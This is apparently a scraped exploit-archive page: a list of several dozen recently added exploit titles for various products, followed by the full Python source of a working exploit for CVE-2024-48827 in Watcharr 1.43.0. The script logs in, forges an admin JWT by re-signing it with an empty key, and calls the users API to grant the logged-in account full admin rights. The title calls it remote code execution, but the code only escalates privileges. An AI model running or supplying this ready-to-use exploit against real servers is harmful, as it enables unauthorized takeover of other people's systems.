
52 changes to exploits/shellcodes/ghdb Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE) DataEase 2.4.0 - Database Configuration Information Exposure Cosy+ firmware 21.2s7 - Command Injection Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE) K7 Ultimate Security K7RKScan.sys 17.0.2019 - Denial Of Service (DoS) ABB Cylon Aspect 3.07.02 - File Disclosure (Authenticated) ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) ABB Cylon Aspect 3.07.02 - File Disclosure ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) Cisco Smart Software Manager On-Prem 8-202206 - Account Takeover CyberPanel 2.3.6 - Remote Code Execution (RCE) IBM Security Verify Access 10.0.0 - Open Redirect during OAuth Flow Intelight X-1L Traffic controller Maxtime 1.9.6 - Remote Code Execution (RCE) KubeSphere 3.4.0 - Insecure Direct Object Reference (IDOR) MagnusSolution magnusbilling 7.3.0 - Command Injection Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover Progress Telerik Report Server 2024 Q1 (10.0.24.305) - Authentication Bypass Sonatype Nexus Repository 3.53.0-01 - Path Traversal Watcharr 1.43.0 - Remote Code Execution (RCE) Webmin Usermin 2.100 - Username Enumeration ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete AquilaCMS 1.409.20 - Remote Command Execution (RCE) Artica Proxy 4.50 - Remote Code Execution (RCE) Centron 19.04 - Remote Code Execution (RCE) ChurchCRM 5.9.1 - SQL Injection CodeAstro Online Railway Reservation System 1.0 - Cross Site Scripting (XSS) CodeCanyon RISE CRM 3.7.0 - SQL Injection Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS Feng Office 3.11.1.2 - SQL Injection flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection Litespeed Cache 6.5.0.1 - Authentication Bypass MiniCMS 1.1 - Cross Site Scripting (XSS) MoziloCMS 3.0 - Remote Code Execution (RCE) NEWS-BUZZ News Management System 1.0 - SQL Injection PandoraFMS 7.0NG.772 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) PZ Frontend Manager WordPress Plugin 1.0.5 - Cross Site Request Forgery (CSRF) ResidenceCMS 2.10.1 - Stored Cross-Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) X2CRM 8.5 - Stored Cross-Site Scripting (XSS) Rejetto HTTP File Server 2.3m - Remote Code Execution (RCE) Microsoft Office 2019 MSO Build 1808 - NTLMv2 Hash Disclosure
109 lines
No EOL
4.7 KiB
Python
Executable file
109 lines
No EOL
4.7 KiB
Python
Executable file
# Exploit Title : Watcharr 1.43.0 - Remote Code Execution (RCE)
|
|
# CVE-2024-48827 exploit by Suphawith Phusanbai
|
|
# Affected Watcharr version 1.43.0 and below.
|
|
import argparse
|
|
import requests
|
|
import json
|
|
import jwt
|
|
from pyfiglet import Figlet
|
|
|
|
f = Figlet(font='slant',width=100)
|
|
print(f.renderText('CVE-2024-48827'))
|
|
|
|
#store JWT token and UserID \ เก็บ token กับ UserID
|
|
jwt_token = None
|
|
user_id = None
|
|
|
|
#login to obtain JWT token / ล็อคอินเพื่อรับ JWT Token
|
|
def login(host, port, username, password):
|
|
url = f'http://{host}:{port}/api/auth/'
|
|
#payload in login API request \ payload ใน json
|
|
payload = {
|
|
'username': username,
|
|
'password': password
|
|
}
|
|
|
|
headers = {
|
|
'Content-Type': 'application/json'
|
|
}
|
|
#login to obtain JWT token \ ล็อคอินเพิ่อเก็บ JWT token แล้วใส่ใน jwt_token object
|
|
try:
|
|
response = requests.post(url, data=json.dumps(payload), headers=headers)
|
|
if response.status_code == 200:
|
|
token = response.json().get('token')
|
|
if token:
|
|
print(f"[+] SUCCESS! JWT Token: {token}")
|
|
global jwt_token
|
|
jwt_token = token
|
|
|
|
#decode JWT token and store UserID in UserID object \ ดีโค้ด JWT token แล้วเก็บค่า UserID ใส่ใน UserID object
|
|
decoded_payload = jwt.decode(token, options={"verify_signature": False})
|
|
global user_id
|
|
user_id = decoded_payload.get('userId')
|
|
|
|
return token
|
|
else:
|
|
print("[-] Check your password again!")
|
|
else:
|
|
print(f"[-] Failed :(")
|
|
print(f"Response: {response.text}")
|
|
except Exception as e:
|
|
print(f"Error! HTTP response code: {e}")
|
|
|
|
#craft the admin token(to make this work you need to know admin username) \ สร้าง admin JWT token ขึ้นมาใหม่โดยใช้ token ที่ล็อคอิน
|
|
def create_new_jwt(original_token):
|
|
try:
|
|
decoded_payload = jwt.decode(original_token, options={"verify_signature": False})
|
|
#userID = 1 is always the admin \ userID ลำดับที่ 1 คือ admin เสมอ
|
|
decoded_payload['userId'] = 1
|
|
new_token = jwt.encode(decoded_payload, '', algorithm='HS256')
|
|
print(f"[+] New JWT Token: {new_token}")
|
|
return new_token
|
|
except Exception as e:
|
|
print(f"[-] Failed to create new JWT: {e}")
|
|
|
|
#privilege escalation with the crafted JWT token \ PE โดยการใช้ crafted admin token
|
|
def privilege_escalation(host, port, adminuser, token):
|
|
#specify API endpoint for giving users admin role \ เรียกใช้งาน API สำหรับให้สิทธิ์ user admin
|
|
url = f'http://{host}:{port}/api/server/users/{user_id}'
|
|
|
|
# permission 3 givefull access privs you can also use 6 and 9 to gain partial admin privileges. \ ให้สิทธิ์ admin ทั้งหมดด้วย permission = 3
|
|
payload = {
|
|
"permissions": 3
|
|
}
|
|
|
|
headers = {
|
|
'Authorization': f'{token}',
|
|
'Content-Type': 'application/json'
|
|
}
|
|
|
|
try:
|
|
response = requests.post(url, data=json.dumps(payload), headers=headers)
|
|
if response.status_code == 200:
|
|
print(f"[+] Privilege Escalation Successful! The current user is now an admin!")
|
|
else:
|
|
print(f"[-] Failed to escalate privileges. Response: {response.text}")
|
|
except Exception as e:
|
|
print(f"Error during privilege escalation: {e}")
|
|
|
|
|
|
#exampl usage: python3 CVE-2024-48827.py -u dummy -p dummy -host 172.22.123.13 -port 3080 -adminuser admin
|
|
#usage
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser(description='Exploit CVE-2024-48827 to obtain JWT token and escalate privileges.')
|
|
parser.add_argument('-host', '--host', type=str, help='Host or IP address', required=True)
|
|
parser.add_argument('-port', '--port', type=int, help='Port', required=True, default=3080)
|
|
parser.add_argument('-u', '--username', type=str, help='Username for login', required=True)
|
|
parser.add_argument('-p', '--password', type=str, help='Password for login', required=True)
|
|
parser.add_argument('-adminuser', '--adminuser', type=str, help='Admin username to escalate privileges', required=True)
|
|
args = parser.parse_args()
|
|
|
|
#step 1: login
|
|
token = login(args.host, args.port, args.username, args.password)
|
|
|
|
#step 2: craft the admin token
|
|
if token:
|
|
new_token = create_new_jwt(token)
|
|
#step 3: Escalate privileges with crafted token. Enjoy!
|
|
if new_token:
|
|
privilege_escalation(args.host, args.port, args.adminuser, new_token) |